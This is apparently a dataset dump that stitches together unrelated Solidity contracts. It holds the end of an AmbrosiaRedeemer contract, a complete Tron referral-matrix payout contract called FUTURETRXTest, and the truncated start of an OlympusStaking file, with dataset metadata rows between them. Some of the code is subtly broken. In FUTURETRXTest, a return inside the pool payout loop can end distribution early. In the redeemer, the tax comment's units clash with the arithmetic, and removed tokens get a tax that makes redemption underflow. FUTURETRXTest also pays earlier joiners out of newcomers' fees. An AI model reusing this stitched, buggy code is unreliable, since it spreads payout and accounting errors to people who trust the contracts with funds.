function sub32(uint32 a, uint32 b) internal pure returns (uint32) {
return sub32(a, b, "SafeMath: subtraction overflow");
}
function sub32(uint32 a, uint32 b, string memory errorMessage) internal pure returns (uint32) {
require(b <= a, errorMessage);
uint32 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract ERC20 is IERC20 {
using SafeMath for uint256;
// TODO comment actual hash value.
bytes32 constant private ERC20TOKEN_ERC1820_INTERFACE_ID = keccak256("ERC20Token");
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account_, uint256 ammount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(this), account_, ammount_);
_totalSupply = _totalSupply.add(ammount_);
_balances[account_] = _balances[account_].add(ammount_);
emit Transfer(address(this), account_, ammount_);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from_, address to_, uint256 amount_) internal virtual { }
}
interface IERC2612Permit {
function permit(address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
}
library Counters {
using SafeMath for uint256;
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
abstract contract ERC20Permit is ERC20, IERC2612Permit {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
bytes32 public DOMAIN_SEPARATOR;
constructor() {
uint256 chainID;
assembly {
chainID := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name())),
keccak256(bytes("1")), // Version
chainID,
address(this)));
}
function permit(address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual override {
require(block.timestamp <= deadline, "Permit: expired deadline");
bytes32 hashStruct =
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline));
bytes32 _hash = keccak256(abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct));
address signer = ecrecover(_hash, v, r, s);
require(signer != address(0) && signer == owner, "ZeroSwapPermit: Invalid signature");
_nonces[owner].increment();
_approve(owner, spender, amount);
}
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner].current();
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface ITreasury {
function redeem(address _token, uint _amount, address _redeemer) external;
}
interface IAMBERC20 {
function burnFrom(address account_, uint256 amount_) external;
}
contract AmbrosiaRedeemer is Ownable {
using SafeMath for uint;
using SafeERC20 for IERC20;
using SafeMath for uint32;
address public immutable AMB;
address public immutable Treasury;
bool public enabled;
struct redeemTokens {
address token;
uint tax; // in ten-thousandths (5000 = 0.5%)
}
redeemTokens[] public deemToke;
constructor (address _AmbrosiaTreasury,
address _AMB){
Treasury = _AmbrosiaTreasury;
AMB =_AMB;
enabled=false;
}
//User function to redeem assets backing AMB
function redeem(uint _amount) external{
require(enabled, "Redemption disabled");
uint portion = _amount.mul(1000000000).div(IERC20(AMB).totalSupply());
for (uint i=0;i<deemToke.length;i++) {
uint tax = deemToke[i].tax;
uint balance = IERC20(deemToke[i].token).balanceOf(address(Treasury));
uint xamount = portion.mul(balance).mul(1000000-tax).div(1000000000).div(10000000);
ITreasury(Treasury).redeem(deemToke[i].token, xamount, msg.sender);
}
IAMBERC20(AMB).burnFrom(msg.sender, _amount);
}
function addRedeemToken(address _token, uint _tax) external onlyPolicy() {
deemToke.push(redeemTokens({
token : _token,
tax : _tax
}));
}
function removeRedeemToken(uint _index, address _token) external onlyPolicy() {
require(_token == deemToke[ _index ].token);
deemToke[ _index ].token = address(0);
deemToke[ _index ].tax = 10000000;
}
function toggleEnabled() external onlyPolicy() {
enabled = !enabled;
}
}
| 114,205 | 10,989 |
1c0bbc9b30683bd66db5ec4599bb0df575cc37f4c4cd72e6a18b69847d0569f5
| 18,929 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TU/TUDBtsRF9V6a1H6FVN9rSAxmCUrT3xuZkY_FUTURETRXTest.sol
| 4,640 | 17,509 |
//SourceUnit: futron.sol
pragma solidity >=0.4.23 <0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract FUTURETRXTest {
using SafeMath for uint256;
struct USER {
bool joined;
uint id;
address payable upline;
uint personalCount;
uint poolAchiever;
bool is_trx_pool;
bool is_ftrx_trx_pool;
uint256 originalReferrer;
mapping(uint8 => MATRIX) Matrix;
mapping(uint8 => bool) activeLevel;
}
struct MATRIX {
address payable currentReferrer;
address payable[] referrals;
}
modifier onlyDeployer() {
require(msg.sender == deployer, "Only Deployer");
_;
}
uint maxDownLimit = 2;
uint public lastIDCount = 0;
uint public LAST_LEVEL = 9;
uint public poolTime = 24 hours;
uint public nextClosingTime = now + poolTime;
uint public deployerValidation = now + 24 hours;
address[] public trxPoolUsers;
address[] public ftrxTrxPoolUsers;
mapping(address => USER) public users;
mapping(uint256 => uint256) public LevelPrice;
uint256 public trxPoolAmount = 0;
uint256 public ftrxTrxPoolAmount = 0;
uint public DirectIncomeShare = 34;
uint public MatrixIncomeShare = 1;
uint public OverRideShare = 3;
uint public OtherOverRideShare = 3;
uint public CompanyShare = 9;
mapping(uint256 => uint256) public LevelIncome;
event Registration(address userAddress, uint256 accountId, uint256 refId);
event NewUserPlace(uint256 accountId, uint256 refId, uint place, uint level);
event Direct(uint256 accountId, uint256 from_id, uint8 level, uint256 amount);
event Level(uint256 accountId, uint256 from_id, uint8 level, uint networkLevel, uint256 amount);
event Matrix(uint256 accountId, uint256 from_id, uint8 level, uint networkLevel, uint256 amount);
event PoolEnterTrx(uint256 accountId, uint256 time);
event PoolEnterftrxTrx(uint256 accountId, uint256 time);
event PoolTrxIncome(uint256 accountId, uint256 amount);
event PoolftrxTrxIncome(uint256 accountId, uint256 amount);
event PoolAmountTrx(uint256 amount);
event PoolAmountftrxTrx(uint256 amount);
address public deployer;
address payable Company;
address payable public owner;
address payable public overRide;
address payable public otherOverRide;
mapping(uint256 => address payable) public userAddressByID;
constructor(address payable owneraddress, address payable _overRide, address payable _company, address payable _otherOverRide)
public
{
owner = owneraddress;
overRide = _overRide;
Company = _company;
otherOverRide = _otherOverRide;
deployer = msg.sender;
//LevelPrice[1] = 1250000000;
LevelPrice[1] = 12500000;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
LevelPrice[i] = LevelPrice[i-1] * 2;
}
LevelIncome[1] = 16;
LevelIncome[2] = 2;
LevelIncome[3] = 2;
LevelIncome[4] = 2;
LevelIncome[5] = 2;
LevelIncome[6] = 2;
LevelIncome[7] = 2;
LevelIncome[8] = 2;
LevelIncome[9] = 2;
USER memory user;
lastIDCount++;
user = USER({joined: true, id: lastIDCount, originalReferrer: 1, personalCount : 0, upline:address(0), poolAchiever : 0, is_trx_pool : false, is_ftrx_trx_pool :false});
users[owneraddress] = user;
userAddressByID[lastIDCount] = owneraddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[owneraddress].activeLevel[i] = true;
}
trxPoolUsers.push(owneraddress);
users[owneraddress].is_trx_pool = true;
}
function regUserDeployer(address payable userAddress, uint256 _referrerID) external onlyDeployer {
//this function is to rebind the users of old contract which is enabled only for first 24 hours only
require(deployerValidation > now, "This function is disabled!!!");
regUserInternal(userAddress, _referrerID);
}
function regUser(uint256 _referrerID) external payable {
require(msg.value == LevelPrice[1], "Incorrect Value");
regUserInternal(msg.sender, _referrerID);
}
function regUserInternal(address payable userAddress, uint256 _referrerID) internal {
uint256 originalReferrer = _referrerID;
uint8 _level = 1;
require(!users[userAddress].joined, "User exist");
require(_referrerID > 0 && _referrerID <= lastIDCount,"Incorrect referrer Id");
if (users[userAddressByID[_referrerID]].Matrix[_level].referrals.length >=maxDownLimit) {
_referrerID = users[findFreeReferrer(userAddressByID[_referrerID],_level)].id;
}
users[userAddressByID[originalReferrer]].personalCount++;
USER memory UserInfo;
lastIDCount++;
UserInfo = USER({
joined: true,
id: lastIDCount,
upline : userAddressByID[originalReferrer],
originalReferrer: originalReferrer,
personalCount:0,
poolAchiever : 0,
is_trx_pool : false,
is_ftrx_trx_pool :false
});
users[userAddress] = UserInfo;
userAddressByID[lastIDCount] = userAddress;
emit Registration(userAddress, lastIDCount, originalReferrer);
users[userAddress].Matrix[_level].currentReferrer = userAddressByID[_referrerID];
users[userAddressByID[_referrerID]].Matrix[_level].referrals.push(userAddress);
emit NewUserPlace(lastIDCount, _referrerID, users[userAddressByID[_referrerID]].Matrix[1].referrals.length, _level);
users[userAddress].activeLevel[_level] = true;
if(msg.sender != deployer){
trxPoolAmount += LevelPrice[_level] / 100 * 4;
emit PoolAmountTrx(LevelPrice[_level] / 100 * 4);
ftrxTrxPoolAmount += LevelPrice[_level] / 100 * 6;
emit PoolAmountftrxTrx(LevelPrice[_level] / 100 * 6);
Company.transfer(LevelPrice[_level] * CompanyShare / 100);
overRide.transfer(LevelPrice[_level] * OverRideShare / 100);
otherOverRide.transfer(LevelPrice[_level] * OtherOverRideShare / 100);
}
distributeDirectIncome(userAddress, _level);
levelIncomeDistribution(userAddress, _level);
matrixIncomeDistribution(userAddress, _level);
}
function buyLevelDeployer(address payable userAddress, uint8 _level) external onlyDeployer {
//this function is to rebind the users of old contract which is enabled only for first 24 hours only
require(deployerValidation > now, "This function is disabled!!!");
buyLevelInternal(userAddress, _level);
}
function buyLevel(uint8 _level) public payable {
require(msg.value == LevelPrice[_level], "Incorrect Value");
buyLevelInternal(msg.sender, _level);
}
function buyLevelInternal(address payable userAddress, uint8 _level) internal {
require(users[userAddress].joined, "User Not");
require(_level > 1 && _level <= LAST_LEVEL, "Incorrect Level");
require(!users[userAddress].activeLevel[_level], "Already active");
require(users[userAddress].activeLevel[_level - 1], "Previous Level");
uint256 _referrerID = findFreeActiveReferrer(userAddress, _level);
if (users[userAddressByID[_referrerID]].Matrix[_level].referrals.length >=maxDownLimit) {
_referrerID = users[findFreeReferrer(userAddressByID[_referrerID],_level)].id;
}
users[userAddress].Matrix[_level].currentReferrer = userAddressByID[_referrerID];
users[userAddressByID[_referrerID]].Matrix[_level].referrals.push(userAddress);
emit NewUserPlace(users[userAddress].id, _referrerID, users[userAddressByID[_referrerID]].Matrix[_level].referrals.length, _level);
users[userAddress].activeLevel[_level] = true;
if(msg.sender != deployer) {
trxPoolAmount += LevelPrice[_level] / 100 * 4;
emit PoolAmountTrx(LevelPrice[_level] / 100 * 4);
ftrxTrxPoolAmount += LevelPrice[_level] / 100 * 6;
emit PoolAmountftrxTrx(LevelPrice[_level] / 100 * 6);
Company.transfer(LevelPrice[_level] * CompanyShare / 100);
overRide.transfer(LevelPrice[_level] * OverRideShare / 100);
otherOverRide.transfer(LevelPrice[_level] * OtherOverRideShare / 100);
}
distributeDirectIncome(userAddress, _level);
levelIncomeDistribution(userAddress, _level);
matrixIncomeDistribution(userAddress, _level);
if(_level == LAST_LEVEL) {
emit PoolEnterTrx(users[userAddress].id, now);
users[userAddress].is_trx_pool = true;
trxPoolUsers.push(userAddress);
users[users[userAddress].upline].poolAchiever++;
if(users[users[userAddress].upline].is_ftrx_trx_pool == false) {
if(users[users[userAddress].upline].poolAchiever >= 2 && users[users[userAddress].upline].is_trx_pool == true){
emit PoolEnterftrxTrx(users[userAddress].originalReferrer, now);
users[users[userAddress].upline].is_ftrx_trx_pool = true;
ftrxTrxPoolUsers.push(users[userAddress].upline);
}
}
if(users[userAddress].is_ftrx_trx_pool == false) {
if(users[userAddress].poolAchiever >= 2) {
emit PoolEnterftrxTrx(users[userAddress].originalReferrer, now);
users[userAddress].is_ftrx_trx_pool = true;
ftrxTrxPoolUsers.push(userAddress);
}
}
}
}
function distributeDirectIncome(address _user, uint8 _level) internal {
uint256 income = LevelPrice[_level] * DirectIncomeShare / 100;
if(users[_user].upline != address(0)) {
if(users[users[_user].upline].activeLevel[_level] == true) {
emit Direct(users[_user].originalReferrer,users[_user].id, _level, income);
if(msg.sender != deployer){
(users[_user].upline).transfer(income);
}
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
ftrxTrxPoolAmount += income / 2;
emit PoolAmountftrxTrx(income / 2);
}
}
}
}
function levelIncomeDistribution(address _user, uint8 _level) internal {
address payable _upline = users[_user].upline;
for(uint8 i = 1; i <= 9; i++) {
uint256 income = LevelPrice[_level] * LevelIncome[i] / 100;
if(_upline != address(0)) {
emit Level(users[_upline].id, users[_user].id, _level, i, income);
if(msg.sender != deployer){
if(!address(uint160(_upline)).send(income)) {
address(uint160(_upline)).transfer(income);
}
}
_upline = users[_upline].upline;
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
ftrxTrxPoolAmount += income / 2;
emit PoolAmountftrxTrx(income / 2);
}
}
}
}
function matrixIncomeDistribution(address _user, uint8 _level) internal {
address payable _upline = users[_user].Matrix[_level].currentReferrer;
for(uint8 i = 1; i <= 9; i++) {
uint256 income = LevelPrice[_level] * MatrixIncomeShare / 100;
if(_upline != address(0)) {
if(users[_upline].activeLevel[i] == true) {
emit Matrix(users[_upline].id, users[_user].id, _level, i, income);
if(msg.sender != deployer){
if(!address(uint160(_upline)).send(income)) {
address(uint160(_upline)).transfer(income);
}
}
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
ftrxTrxPoolAmount += income / 2;
emit PoolAmountftrxTrx(income / 2);
}
}
_upline = users[_upline].Matrix[_level].currentReferrer;
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
ftrxTrxPoolAmount += income / 2;
emit PoolAmountftrxTrx(income / 2);
}
}
}
}
function findFreeActiveReferrer(address userAddress, uint8 level) internal view returns(uint256) {
while (true) {
if (users[users[userAddress].upline].activeLevel[level] == true) {
return users[users[userAddress].upline].id;
}
userAddress = users[userAddress].upline;
}
}
function poolClosing(uint pool) public onlyDeployer {
require(now > nextClosingTime, "Closing Time not came yet!!!");
if(now > nextClosingTime){
if(pool == 1) {
if(trxPoolAmount > 0) {
uint256 perUserAmount = trxPoolAmount / trxPoolUsers.length;
for(uint i = 0; i < trxPoolUsers.length; i++) {
address userAddress = trxPoolUsers[i];
emit PoolTrxIncome(users[userAddress].id, perUserAmount);
if(!address(uint160(userAddress)).send(perUserAmount)){
return address(uint160(userAddress)).transfer(perUserAmount);
}
}
trxPoolAmount = 0;
}
}
if(pool == 2) {
if(ftrxTrxPoolAmount > 0) {
uint256 perUserAmount = ftrxTrxPoolAmount / ftrxTrxPoolUsers.length;
for(uint i = 0; i < ftrxTrxPoolUsers.length; i++) {
address userAddress = ftrxTrxPoolUsers[i];
emit PoolftrxTrxIncome(users[userAddress].id, perUserAmount);
if(!address(uint160(userAddress)).send(perUserAmount)){
return address(uint160(userAddress)).transfer(perUserAmount);
}
}
ftrxTrxPoolAmount = 0;
}
nextClosingTime = now.add(poolTime);
}
}
}
function findFreeReferrer(address _user, uint8 _level) internal view returns(address) {
if(users[_user].Matrix[_level].referrals.length < maxDownLimit){
return _user;
}
address[] memory referrals = new address[](2046);
referrals[0] = users[_user].Matrix[_level].referrals[0];
referrals[1] = users[_user].Matrix[_level].referrals[1];
address freeReferrer;
bool noFreeReferrer = true;
for(uint i =0; i<2046;i++){
if(users[referrals[i]].Matrix[_level].referrals.length == maxDownLimit){
if(i<1022){
referrals[(i+1)*2] = users[referrals[i]].Matrix[_level].referrals[0];
referrals[(i+1)*2+1] = users[referrals[i]].Matrix[_level].referrals[1];
}
}else{
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
require(!noFreeReferrer, 'No Free Referrer');
return freeReferrer;
}
function getMatrix(address userAddress, uint8 level)
public
view
returns (address payable,
address payable[] memory)
{
return (users[userAddress].Matrix[level].currentReferrer,
users[userAddress].Matrix[level].referrals);
}
function getPendingTimeForNextClosing() public view returns(uint) {
uint remainingTimeForPayout = 0;
if(nextClosingTime >= now) {
remainingTimeForPayout = nextClosingTime.sub(now);
}
return remainingTimeForPayout;
}
}
| 303,533 | 10,990 |
dced66f57b49f302b194fedb2841d9ecaede53253318dbb675671fdbd0d41c63
| 27,170 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/94/94a975f0836dc0486ad49d3156e0806e7567d9af_OlympusStaking.sol
| 4,141 | 16,496 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
